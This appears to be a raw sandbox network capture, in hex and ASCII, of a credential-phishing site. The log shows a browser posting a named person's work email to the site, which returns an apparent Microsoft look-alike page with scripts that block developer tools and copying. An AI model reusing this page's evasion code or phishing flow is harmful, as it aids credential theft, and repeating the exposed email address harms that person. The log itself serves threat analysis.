3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-03-26 23:31:59 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:31:59 UTC	1479	OUT	POST /kfTJ6QTdDVljK18vstNu7q6r7TjiwgfIl0qyGiNa8NrQZew HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Content-Length: 28 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://ea.gdpfjvzprf.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkYvTWdaa1BYcWVQY0RpVG1PcVV6bmc9PSIsInZhbHVlIjoiaHlrREcvdk1YSWRJSWJSb3lMeGRvSXFVaG5pV0plTWJpRTNvT0hBdEVEWGVWdS9kb3pKSEszbzFTRXJFakZaTU9ndVY2QzFySUFTajZMbHk5MVZJUms5RHdoYUM1MTR4SGRhQ1RhTTM5L0VvOFZ3THFsbXRkOTlUWmc0S2VPYTMiLCJtYWMiOiIwNjgxODhhM2QxYzkxYzVjMzVlNDkzMzZiZjI0MTc1ZmNhNjhmZmUxNjIxNWY0MDgyOTM5YmIxOWQ5OWQzMTVlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNtMmQxcDcrMjNGNHp0b2xhelVUbHc9PSIsInZhbHVlIjoib2kwUkRZeHZGb2xKV0l6ZGNmSjFZVjZoMCswTTNSU1loemdydDBFUDd1MTJGdXNtQnR2R1RBdlVTSVJiaDZmdVlCelJYVkJybXpIK3dYbnJUZHFQbjdqNTJhYVU1RFhkSzJvZk5BaHZBeDE5ZlZydG00bWVNeXdKdEpqNUpkcVEiLCJtYWMiOiJhYTQ1OGE0ZjIxOTE0NmMyYTk1ODdiMGQ1M2I0YzZhYTUxN2ZlMjdjZmQ0YTk0ZGFiMjUwMjViZDA0ODRmOTFjIiwidGFnIjoiIn0%3D
2025-03-26 23:31:59 UTC	28	OUT	Data Raw: 64 61 74 61 3d 57 51 62 63 61 72 6e 65 73 25 34 30 68 69 6c 63 6f 72 70 2e 63 6f 6d Data Ascii: data=WQbcarnes%40hilcorp.com
2025-03-26 23:32:00 UTC	1213	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lVxshpjfsQ3PH2jBnaxboLGksO9BJlg3rExTBXZye4szn%2Bot9jy0yMc2%2F95HemWf2sY27TzEZh6OlRhf6U061oWiE1VxZHgb2FnR7LTv8WkvAE4NCkJP%2BY1rW8s%2BN5KMuWvC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1031&min_rtt=949&rtt_var=316&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2422&delivery_rate=3976401&cwnd=253&unsent_bytes=0&cid=b66f3cd77376fcdb&ts=223&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImI2SWpLTnYrT0VZTkN4RGIrZ3kydmc9PSIsInZhbHVlIjoiQktvTzg0a3NXRjZxY24ycVZWQnlESjViSkhMTjVJNTlubzRmUlVZV2FzWXV2ZjM0M1hnVVc0azZiYUFMUWsxTmpkdDk4UjEzVHFMdkpBN3NwU1g5SzhZeGUwbHVmSDgzSVZ5RUo5RUpOZkVnRDd5TmtYWW9QemRRVVRyUnFUSWIiLCJtYWMiOiJkZTM1MGVkNGFiYTc5Mjk5MmViZDk4ZmY1MjQ5ZjdiYmRhMzQ3MGJhOTczZjE2M2E2NjQ2YjE1MjYwNWExNzU3IiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 01:32:00 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 23:32:00 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 45 76 5a 6a 5a 79 62 45 4e 34 4f 55 31 79 55 33 63 77 57 45 51 76 52 32 64 6e 57 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 31 64 79 51 58 4e 36 52 44 49 33 64 7a 56 48 59 6d 4d 76 5a 33 64 35 4d 6b 4a 77 64 47 30 78 54 6e 64 6f 4e 58 6c 59 54 44 64 48 61 45 68 78 53 54 52 5a 54 6e 4a 49 57 45 6c 4c 5a 48 70 58 4e 6a 6c 35 4e 56 68 6e 51 6e 68 4e 64 54 51 31 5a 45 70 45 56 33 46 33 55 31 5a 50 65 48 4e 71 4d 43 74 76 65 55 45 72 62 48 41 76 64 45 4e 73 57 6a 64 33 52 56 55 33 4c 33 56 32 4e 47 46 74 51 6e 51 33 61 32 35 4b 64 6c 64 6b 64 58 52 42 53 32 4a 30 63 47 56 4b 4d 58 4e 59 59 55 52 6f 63 30 68 76 64 58 4a 5a 65 6d 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImEvZjZybEN4OU1yU3cwWEQvR2dnWGc9PSIsInZhbHVlIjoiQ1dyQXN6RDI3dzVHYmMvZ3d5MkJwdG0xTndoNXlYTDdHaEhxSTRZTnJIWElLZHpXNjl5NVhnQnhNdTQ1ZEpEV3F3U1ZPeHNqMCtveUErbHAvdENsWjd3RVU3L3V2NGFtQnQ3a25KdldkdXRBS2J0cGVKMXNYYURoc0hvdXJZemE
2025-03-26 23:32:00 UTC	296	IN	Data Raw: 31 32 31 0d 0a 7b 22 61 22 3a 22 4c 48 6a 69 6c 54 47 2b 72 65 69 78 47 78 4a 5c 2f 58 68 76 67 5c 2f 4d 50 49 77 36 57 30 31 6d 58 72 71 61 31 44 6d 4d 77 4a 2b 4f 6e 65 79 78 79 4b 69 65 38 6c 62 32 4b 7a 38 65 6a 6f 62 36 77 71 30 67 34 66 31 37 38 56 4c 42 6f 78 55 34 32 4e 68 46 56 38 50 56 59 53 72 72 4c 34 78 46 30 35 30 71 44 5c 2f 5c 2f 34 4d 47 6b 2b 47 70 4a 76 72 76 35 6c 70 52 67 35 68 5a 43 68 33 4c 4c 55 5a 68 22 2c 22 62 22 3a 22 62 38 38 39 30 66 35 33 32 30 61 37 61 36 61 39 32 63 34 63 36 64 66 66 63 39 63 65 61 63 64 65 22 2c 22 63 22 3a 22 61 65 63 62 64 33 39 61 36 30 35 33 66 63 62 38 64 37 33 39 35 61 61 38 34 64 64 36 35 32 35 36 22 2c 22 64 22 3a 22 33 38 36 35 36 32 36 31 33 32 36 32 36 36 36 32 36 34 36 36 33 37 36 31 33 39 33 Data Ascii: 121{"a":"LHjilTG+reixGxJ\/Xhvg\/MPIw6W01mXrqa1DmMwJ+OneyxyKie8lb2Kz8ejob6wq0g4f178VLBoxU42NhFV8PVYSrrL4xF050qD\/\/4MGk+GpJvrv5lpRg5hZCh3LLUZh","b":"b8890f5320a7a6a92c4c6dffc9ceacde","c":"aecbd39a6053fcb8d7395aa84dd65256","d":"386562613262666264663761393
2025-03-26 23:32:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:00 UTC	1510	OUT	GET /YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImI2SWpLTnYrT0VZTkN4RGIrZ3kydmc9PSIsInZhbHVlIjoiQktvTzg0a3NXRjZxY24ycVZWQnlESjViSkhMTjVJNTlubzRmUlVZV2FzWXV2ZjM0M1hnVVc0azZiYUFMUWsxTmpkdDk4UjEzVHFMdkpBN3NwU1g5SzhZeGUwbHVmSDgzSVZ5RUo5RUpOZkVnRDd5TmtYWW9QemRRVVRyUnFUSWIiLCJtYWMiOiJkZTM1MGVkNGFiYTc5Mjk5MmViZDk4ZmY1MjQ5ZjdiYmRhMzQ3MGJhOTczZjE2M2E2NjQ2YjE1MjYwNWExNzU3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImEvZjZybEN4OU1yU3cwWEQvR2dnWGc9PSIsInZhbHVlIjoiQ1dyQXN6RDI3dzVHYmMvZ3d5MkJwdG0xTndoNXlYTDdHaEhxSTRZTnJIWElLZHpXNjl5NVhnQnhNdTQ1ZEpEV3F3U1ZPeHNqMCtveUErbHAvdENsWjd3RVU3L3V2NGFtQnQ3a25KdldkdXRBS2J0cGVKMXNYYURoc0hvdXJZemEiLCJtYWMiOiI5ODNiOGRkYWQwMjg1YTYxYzQxMjE4N2UyYTYzYmZkZmQ0MGYyM2U0OTNmMjRmNDU5NzQyNTQ5YWYxNzQ4ZDMwIiwidGFnIjoiIn0%3D
2025-03-26 23:32:01 UTC	1237	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1HlTqF3XBpKcECuAdsyTj8u6EGJw0bQ2T69GGW4mPZCuWAXNUHtZQWpyhZ4%2FpjnpU0%2Ff0Mo%2BXo983QzExkJYaWe8jqIhO9yZ7b%2F5vry%2FDz1BoQRrWSQpDnWXYGsftYn3MYer"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=55283&min_rtt=55278&rtt_var=15558&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2425&delivery_rate=73097&cwnd=88&unsent_bytes=0&cid=d55f9b3efa8dca31&ts=316&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Thu, 27 Mar 2025 01:32:01 GMT
2025-03-26 23:32:01 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 6c 48 4c 7a 55 78 5a 44 52 72 52 30 52 74 59 30 74 78 52 58 5a 43 59 33 46 51 4e 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 65 47 46 36 64 55 68 79 5a 30 39 4a 4b 30 4e 35 55 33 6f 78 63 30 35 55 63 32 5a 34 4f 48 4d 33 61 6c 46 53 54 46 5a 46 59 55 35 58 61 7a 49 32 61 57 74 58 52 45 56 35 52 33 42 72 59 6a 4d 32 4d 57 4e 36 57 46 56 72 5a 55 68 57 63 33 5a 45 65 53 38 79 62 48 6f 32 61 30 74 4f 4e 46 46 71 54 45 45 33 61 6b 4e 33 61 54 5a 46 65 47 6c 6d 55 6e 70 4a 59 30 5a 6c 52 33 4a 54 4e 48 68 5a 4b 32 74 31 64 45 78 70 59 6a 4e 68 62 55 78 5a 64 58 56 74 5a 48 6c 36 55 45 31 42 51 6a 4e 59 56 33 52 6e 62 33 46 34 56 44 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDM
2025-03-26 23:32:01 UTC	1369	IN	Data Raw: 63 63 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: cc1<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-26 23:32:01 UTC	1369	IN	Data Raw: 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b Data Ascii: osition:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;back
2025-03-26 23:32:01 UTC	534	IN	Data Raw: 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 3b Data Ascii: animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px;
2025-03-26 23:32:01 UTC	1369	IN	Data Raw: 31 31 63 64 0d 0a 38 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 37 70 78 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 64 6f 77 2d 66 61 64 65 7b 30 25 2c 31 30 30 25 2c 32 31 2e 32 25 2c 38 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 7d 34 37 25 2c 37 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 63 61 6c 2d 62 6f 75 6e 63 65 7b 30 25 2c 31 30 30 25 2c 31 36 2e 35 25 2c 37 36 2e 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 29 29 20 73 63 61 6c 65 59 28 31 29 3b 7d 32 38 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 4f 76 65 72 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 29 Data Ascii: 11cd86%{transform:translateY(7px);}}@keyframes shadow-fade{0%,100%,21.2%,80%{opacity:0;}47%,70%{opacity:1;}}@keyframes cal-bounce{0%,100%,16.5%,76.1%{transform:translateY(var(--calY)) scaleY(1);}28%{transform:translateY(var(--calYOverExt)) scaleY(1)
2025-03-26 23:32:01 UTC	1369	IN	Data Raw: 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 34 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 35 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 32 20 7d 2c 20 2f 2f 20 43 74 72 6c 20 2b 20 48 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6d 65 74 61 3a 20 74 72 75 65 2c 20 61 6c 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6d 65 74 61 3a Data Ascii: e, keyCode: 67 }, { ctrl: true, shift: true, keyCode: 74 }, { ctrl: true, shift: true, keyCode: 75 }, { ctrl: true, keyCode: 72 }, // Ctrl + H { meta: true, alt: true, keyCode: 73 }, { meta:
2025-03-26 23:32:01 UTC	1369	IN	Data Raw: 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 70 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 20 3d 3d 3d 20 27 49 4e 50 55 54 27 20 7c 7c 20 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 20 3d 3d 3d 20 27 54 45 58 54 41 52 45 41 27 20 7c 7c 20 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 69 73 43 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 Data Ascii: .addEventListener('copy', function(event) { if (document.activeElement.tagName === 'INPUT' \|\| document.activeElement.tagName === 'TEXTAREA' \|\| document.activeElement.isContentEditable) { return; } event.preventD
2025-03-26 23:32:01 UTC	458	IN	Data Raw: 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 39 39 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 70 61 74 68 20 64 3d 22 4d 33 34 2e 36 34 33 20 31 32 2e 30 37 35 6c 2d 2e 35 38 38 20 31 2e 36 34 37 68 2d 2e 30 33 34 63 2d 2e 31 30 35 2d 2e 33 38 37 2d 2e 32 38 2d 2e 39 33 34 2d 2e 35 35 36 2d 31 2e 36 33 6c 2d 33 2e 31 35 2d 37 2e 38 39 37 68 2d 33 2e 30 37 37 56 31 36 2e 37 35 68 32 2e 30 33 56 39 2e 30 33 32 63 30 2d 2e 34 37 36 2d 2e 30 31 2d 31 2e 30 35 32 2d 2e 30 33 2d 31 2e 37 31 31 2d 2e 30 31 2d 2e 33 33 33 2d 2e 30 34 39 2d 2e 36 2d 2e 30 35 38 2d 2e 38 30 34 68 2e 30 34 35 63 2e 31 30 33 2e 34 37 33 2e 32 31 2e 38 33 34 2e Data Ascii: g/1999/xlink" height="22" width="99"><g fill="none" fill-rule="evenodd"><path d="M34.643 12.075l-.588 1.647h-.034c-.105-.387-.28-.934-.556-1.63l-3.15-7.897h-3.077V16.75h2.03V9.032c0-.476-.01-1.052-.03-1.711-.01-.333-.049-.6-.058-.804h.045c.103.473.21.834.
2025-03-26 23:32:01 UTC	1369	IN	Data Raw: 31 62 64 62 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 37 2e 37 35 32 68 2d 32 2e 31 31 38 7a 4d 34 33 2e 39 34 37 20 33 2e 39 32 39 63 2d 2e 33 34 39 20 30 2d 2e 36 35 33 2e 31 31 39 2d 2e 39 30 32 2e 33 35 33 61 31 2e 31 36 36 20 31 2e 31 36 36 20 30 20 30 30 2d 2e 33 37 38 2e 38 38 33 63 30 20 2e 33 34 34 2e 31 32 36 2e 36 33 36 2e 33 37 34 2e 38 36 35 2e 32 34 37 2e 32 33 2e 35 35 32 2e 33 34 35 2e 39 30 36 2e 33 34 35 73 2e 36 36 2d 2e 31 31 35 2e 39 31 2d 2e 33 34 35 63 2e 32 35 2d 2e 32 33 2e 33 37 39 2d 2e 35 32 2e 33 37 39 2d 2e 38 36 35 20 30 2d 2e 33 33 39 2d 2e 31 32 35 2d 2e 36 33 32 2d 2e 33 37 2d 2e 38 37 33 61 31 2e 32 36 32 20 31 2e 32 36 32 20 30 20 30 30 2d 2e 39 31 39 2d 2e 33 36 33 Data Ascii: 1bdb<path d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.919-.363
2025-03-26 23:32:01 UTC	1369	IN	Data Raw: 2e 38 32 36 20 31 2e 39 33 36 20 31 2e 32 34 35 20 33 2e 33 31 36 20 31 2e 32 34 35 20 31 2e 34 33 38 20 30 20 32 2e 35 39 33 2d 2e 34 34 31 20 33 2e 34 33 34 2d 31 2e 33 31 2e 38 34 2d 2e 38 37 20 31 2e 32 36 35 2d 32 2e 30 34 35 20 31 2e 32 36 35 2d 33 2e 34 39 33 20 30 2d 31 2e 34 33 33 2d 2e 34 2d 32 2e 35 37 33 2d 31 2e 31 38 37 2d 33 2e 33 39 34 2d 2e 37 38 39 2d 2e 38 32 2d 31 2e 38 39 37 2d 31 2e 32 33 36 2d 33 2e 32 39 35 2d 31 2e 32 33 36 4d 37 34 2e 33 37 38 20 31 31 2e 34 37 31 63 2d 2e 36 36 37 2d 2e 32 36 38 2d 31 2e 30 39 35 2d 2e 34 39 2d 31 2e 32 37 2d 2e 36 36 2d 2e 31 37 2d 2e 31 36 35 2d 2e 32 35 37 2d 2e 33 39 38 2d 2e 32 35 37 2d 2e 36 39 33 20 30 2d 2e 32 36 32 2e 31 30 38 2d 2e 34 37 32 2e 33 32 37 2d 2e 36 34 32 2e 32 31 39 2d 2e Data Ascii: .826 1.936 1.245 3.316 1.245 1.438 0 2.593-.441 3.434-1.31.84-.87 1.265-2.045 1.265-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M74.378 11.471c-.667-.268-1.095-.49-1.27-.66-.17-.165-.257-.398-.257-.693 0-.262.108-.472.327-.642.219-.

Timestamp	Bytes transferred	Direction	Data
